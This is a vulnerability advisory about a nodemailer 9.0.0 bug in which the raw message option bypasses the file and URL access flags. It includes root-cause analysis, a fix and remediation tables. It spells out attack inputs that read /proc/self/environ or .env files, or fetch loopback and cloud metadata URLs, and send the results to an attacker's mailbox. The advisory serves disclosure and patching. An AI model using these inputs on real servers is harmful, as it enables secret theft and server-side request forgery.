raw option bypasses disableFileAccess / disableUrlAccess, enabling arbitrary file read and full-response SSRF in the sent messagenodemailer v9.0.0 (HEAD 4e58450eb490e5097a74b2b2cce35a8d9e21856e)Nodemailer exposes disableFileAccess and disableUrlAccess so an application that passes
untrusted message data to the library can forbid that data from reading local files or
fetching URLs. Every attachment, alternative, html/text/watchHtml/amp and icalEvent
content node honors these flags. The message-level raw option does not.
MailComposer.compile() builds the root MIME node for a raw message without threading the
two flags, so a raw: { path: '/etc/passwd' } or raw: { href: 'http://169.254.169.254/…' }
message is read / fetched anyway, and the file or HTTP-response bytes become the actual
message that is sent by every transport (SMTP, SES, sendmail, stream, JSON). An actor whose
input the application intended to sandbox therefore obtains arbitrary local-file disclosure and
a full-response SSRF primitive, delivered to a recipient the same actor can choose.
This is the same vulnerability class as the already-published jsonTransport advisory
GHSA-wqvq-jvpq-h66f, but a distinct code path (raw root node, not normalize()), and
strictly higher impact: the jsonTransport bug only affected the locally-returned JSON, whereas
this affects the delivered RFC822 message for all transports.
lib/mail-composer/index.js:34-35 — root cause:
if (this.mail.raw) {
this.message = new MimeNode('message/rfc822', { newline: this.mail.newline }).setRaw(this.mail.raw);
}
The MimeNode is constructed with only { newline }. Compare the sibling node builders
_createMixed/_createAlternative/_createRelated/_createContentNode
(lib/mail-composer/index.js:389-527), which all pass
disableUrlAccess: this.mail.disableUrlAccess, disableFileAccess: this.mail.disableFileAccess.lib/mime-node/index.js:51-52 — the constructor derives this.disableFileAccess/
this.disableUrlAccess solely from its own options; children do not inherit a parent's
flags (createChild/appendChild, lines 175-194, pass options through verbatim).lib/mime-node/index.js:812 — setRaw() content is resolved through this._getStream(this._raw).lib/mime-node/index.js:984-1010 — _getStream reads the file (fs.createReadStream, 995) or
fetches the URL (nmfetch, 1009) only guarded by this.disableFileAccess/this.disableUrlAccess,
which on the raw root node are false.lib/mailer/index.js:188
(mail.message = new MailComposer(mail.data).compile()), so every transport is affected.transporter.sendMail({ raw: <userControlled> , to: <userControlled> })
with disableFileAccess: true and/or disableUrlAccess: true configured on the transporter
(forced onto mail.data in lib/mailer/mail-message.js:36-40) or per message. This is the
exact scenario the flags exist for — the same precondition under which GHSA-wqvq-jvpq-h66f was
accepted._createContentNode carries disableFileAccess, so _getStream throws EFILEACCESS.
Bypass: the raw branch (compile():34-35) never sets the flag on its node, so
this.disableFileAccess === false and the guard at mime-node:985 / :999 is skipped.
There is no other validation between mail.raw and the read; raw content shapes
({path}, {href}, stream, string, buffer) are accepted as-is by setRaw/_getStream.fs.createReadStream(content.path) (file disclosure) or
nmfetch(content.href, …) (SSRF). The resulting bytes are emitted as the message body by
createReadStream(), which every transport pipes to its destination
(smtp-transport:233, smtp-pool/pool-resource:208, ses-transport:96, sendmail-transport:184,
stream-transport:67).No guard blocks the chain; the only guard (the access flags) is structurally absent on this node.
Inconsistent enforcement: the access policy is applied per-MimeNode via constructor options and
must be re-passed at every node creation. The raw-message shortcut in compile() omits it,
while all five other node builders include it. The flags are therefore enforced for every content
type except the one that lets the caller supply a complete message body by path/URL.
Application that sandboxes untrusted mail input (disableFileAccess/disableUrlAccess set):
raw: { path: '/proc/self/environ' } (or any server file:
/app/.env, key material, etc.) and to: [email protected].compile() builds the raw root node without the flags; the transport reads the file and sends
its contents as the message → arbitrary server-file exfiltration to an attacker-chosen mailbox.raw: { href: 'http://127.0.0.1:8080/admin' } or a cloud metadata URL →
Nodemailer fetches it server-side and delivers the full response body in the email →
full-response SSRF (no blind-channel limitation).raw.The application (a) passes disableFileAccess and/or disableUrlAccess (the documented sandboxing
flags) and (b) lets untrusted input influence the raw field (and, for maximal disclosure, to).
No other configuration is required; all bundled transports are affected. This mirrors the accepted
precondition of GHSA-wqvq-jvpq-h66f.
raw object; deterministic.to not attacker-controlled) the disclosure channel
narrows and the rating degrades toward the sibling's Medium; the High rating reflects the
reasonable worst case where raw and to are both untrusted.raw content is by-design trusted, so the flags shouldn't apply." Rejected: every other
content path (attachments, alternatives, html/text, icalEvent) honors the flags, and the
maintainer already accepted GHSA-wqvq-jvpq-h66f for exactly this "untrusted input + flag set"
model. The asymmetry — attachment {path} is blocked but raw:{path} is not — is the bug, and
the PoC's CONTROL case proves the flag is otherwise effective on the same file.compile():35
constructs the node with { newline } only; MimeNode constructor sets
this.disableFileAccess = !!options.disableFileAccess → false; rootNode is itself; no
inheritance exists.attachments:[{path}],
same file, same transporter) returns EFILEACCESS; only the raw:{path} message leaks. The
sentinel nonce exists solely in the temp file; the URL nonce is generated server-side and is only
obtainable by an actual fetch. Both observables are uniquely bound to the bypass.streamTransport and the root cause is in MailComposer.compile() (mailer:188), shared by all
transports; jsonTransport is a different (already-fixed) path.I could not find any guard that blocks the chain; the finding survives.
findings/nodemailer/raw/poc-raw-fileaccess-bypass.js — local, no network egress (loopback only),
no destructive action. Output:
[CONTROL] attachment path with disableFileAccess: BLOCKED (EFILEACCESS) — flag works here
[ATTACK] raw:{path} with disableFileAccess=true: BYPASSED — sentinel file CONTENT present in message
[ATTACK] raw:{href} with disableUrlAccess=true (loopback server): BYPASSED — fetched body present (SSRF)
VERDICT: CONFIRMED
Run: node findings/nodemailer/raw/poc-raw-fileaccess-bypass.js (exit 0 = confirmed).
Thread the access policy onto the raw root node, exactly as the other builders do:
if (this.mail.raw) {
this.message = new MimeNode('message/rfc822', {
newline: this.mail.newline,
disableFileAccess: this.mail.disableFileAccess,
disableUrlAccess: this.mail.disableUrlAccess
}).setRaw(this.mail.raw);
}
(Defense in depth: setRaw/_getStream could also refuse {path}/{href} raw content when either
flag is set, regardless of how the node was constructed.) Add a regression test asserting that
raw:{path} and raw:{href} reject with EFILEACCESS/EURLACCESS when the flags are set, mirroring
the attachment tests.
| Software | From | Fixed in |
|---|---|---|
nodemailer
|
- | 9.0.1 |
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.